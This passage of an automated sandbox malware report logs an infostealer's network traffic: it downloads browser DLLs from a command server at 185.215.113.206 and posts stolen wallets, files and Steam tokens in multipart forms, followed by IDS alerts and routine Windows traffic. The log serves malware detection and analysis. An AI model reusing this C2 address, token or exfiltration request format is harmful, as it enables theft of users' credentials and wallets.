45 43 42 47 43 42 46 48 4a 45 42 47 44 2d 2d 0d 0a Data Ascii: ------CBAFIDAECBGCBFHJEBGDContent-Disposition: form-data; name="token"a8a3a623a7470951efbd38bbdce74090e9c20feb56f75354d961bda1c6a0e7dc5a28d8fa------CBAFIDAECBGCBFHJEBGDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CBAFIDAECBGCBFHJEBGDContent-Disposition: form-data; name="file"------CBAFIDAECBGCBFHJEBGD--
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEHJKEBAAEBGCAAEBFHHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIDHDGCBFBKECBFHCAFHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 38 61 33 61 36 32 33 61 37 34 37 30 39 35 31 65 66 62 64 33 38 62 62 64 63 65 37 34 30 39 30 65 39 63 32 30 66 65 62 35 36 66 37 35 33 35 34 64 39 36 31 62 64 61 31 63 36 61 30 65 37 64 63 35 61 32 38 64 38 66 61 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 2d 2d 0d 0a Data Ascii: ------EGIDHDGCBFBKECBFHCAFContent-Disposition: form-data; name="token"a8a3a623a7470951efbd38bbdce74090e9c20feb56f75354d961bda1c6a0e7dc5a28d8fa------EGIDHDGCBFBKECBFHCAFContent-Disposition: form-data; name="message"wallets------EGIDHDGCBFBKECBFHCAF--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBKEHJJDAAAAKECBGHDHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 38 61 33 61 36 32 33 61 37 34 37 30 39 35 31 65 66 62 64 33 38 62 62 64 63 65 37 34 30 39 30 65 39 63 32 30 66 65 62 35 36 66 37 35 33 35 34 64 39 36 31 62 64 61 31 63 36 61 30 65 37 64 63 35 61 32 38 64 38 66 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 2d 2d 0d 0a Data Ascii: ------JEBKEHJJDAAAAKECBGHDContent-Disposition: form-data; name="token"a8a3a623a7470951efbd38bbdce74090e9c20feb56f75354d961bda1c6a0e7dc5a28d8fa------JEBKEHJJDAAAAKECBGHDContent-Disposition: form-data; name="message"files------JEBKEHJJDAAAAKECBGHD--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFCBKKKJJJKKEBGDAFIDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 43 42 4b 4b 4b 4a 4a 4a 4b 4b 45 42 47 44 41 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 38 61 33 61 36 32 33 61 37 34 37 30 39 35 31 65 66 62 64 33 38 62 62 64 63 65 37 34 30 39 30 65 39 63 32 30 66 65 62 35 36 66 37 35 33 35 34 64 39 36 31 62 64 61 31 63 36 61 30 65 37 64 63 35 61 32 38 64 38 66 61 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 42 4b 4b 4b 4a 4a 4a 4b 4b 45 42 47 44 41 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 42 4b 4b 4b 4a 4a 4a 4b 4b 45 42 47 44 41 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 42 4b 4b 4b 4a 4a 4a 4b 4b 45 42 47 44 41 46 49 44 2d 2d 0d 0a Data Ascii: ------CFCBKKKJJJKKEBGDAFIDContent-Disposition: form-data; name="token"a8a3a623a7470951efbd38bbdce74090e9c20feb56f75354d961bda1c6a0e7dc5a28d8fa------CFCBKKKJJJKKEBGDAFIDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------CFCBKKKJJJKKEBGDAFIDContent-Disposition: form-data; name="file"------CFCBKKKJJJKKEBGDAFID--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHJECAFIDAFHJKFCGHIHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 38 61 33 61 36 32 33 61 37 34 37 30 39 35 31 65 66 62 64 33 38 62 62 64 63 65 37 34 30 39 30 65 39 63 32 30 66 65 62 35 36 66 37 35 33 35 34 64 39 36 31 62 64 61 31 63 36 61 30 65 37 64 63 35 61 32 38 64 38 66 61 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 2d 2d 0d 0a Data Ascii: ------DGHJECAFIDAFHJKFCGHIContent-Disposition: form-data; name="token"a8a3a623a7470951efbd38bbdce74090e9c20feb56f75354d961bda1c6a0e7dc5a28d8fa------DGHJECAFIDAFHJKFCGHIContent-Disposition: form-data; name="message"ybncbhylepme------DGHJECAFIDAFHJKFCGHI--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFHJECAAAFHIJKFIJEGCHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 48 4a 45 43 41 41 41 46 48 49 4a 4b 46 49 4a 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 38 61 33 61 36 32 33 61 37 34 37 30 39 35 31 65 66 62 64 33 38 62 62 64 63 65 37 34 30 39 30 65 39 63 32 30 66 65 62 35 36 66 37 35 33 35 34 64 39 36 31 62 64 61 31 63 36 61 30 65 37 64 63 35 61 32 38 64 38 66 61 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 4a 45 43 41 41 41 46 48 49 4a 4b 46 49 4a 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 4a 45 43 41 41 41 46 48 49 4a 4b 46 49 4a 45 47 43 2d 2d 0d 0a Data Ascii: ------BFHJECAAAFHIJKFIJEGCContent-Disposition: form-data; name="token"a8a3a623a7470951efbd38bbdce74090e9c20feb56f75354d961bda1c6a0e7dc5a28d8fa------BFHJECAAAFHIJKFIJEGCContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BFHJECAAAFHIJKFIJEGC--

Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View	IP Address: 185.215.113.206 185.215.113.206

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49758 -> 185.215.113.206:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C60CC60 PR_Recv,

0_2_6C60CC60

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Gx+4pGbfeS8V37r&MD=+Lbp86L5 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Gx+4pGbfeS8V37r&MD=+Lbp86L5 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
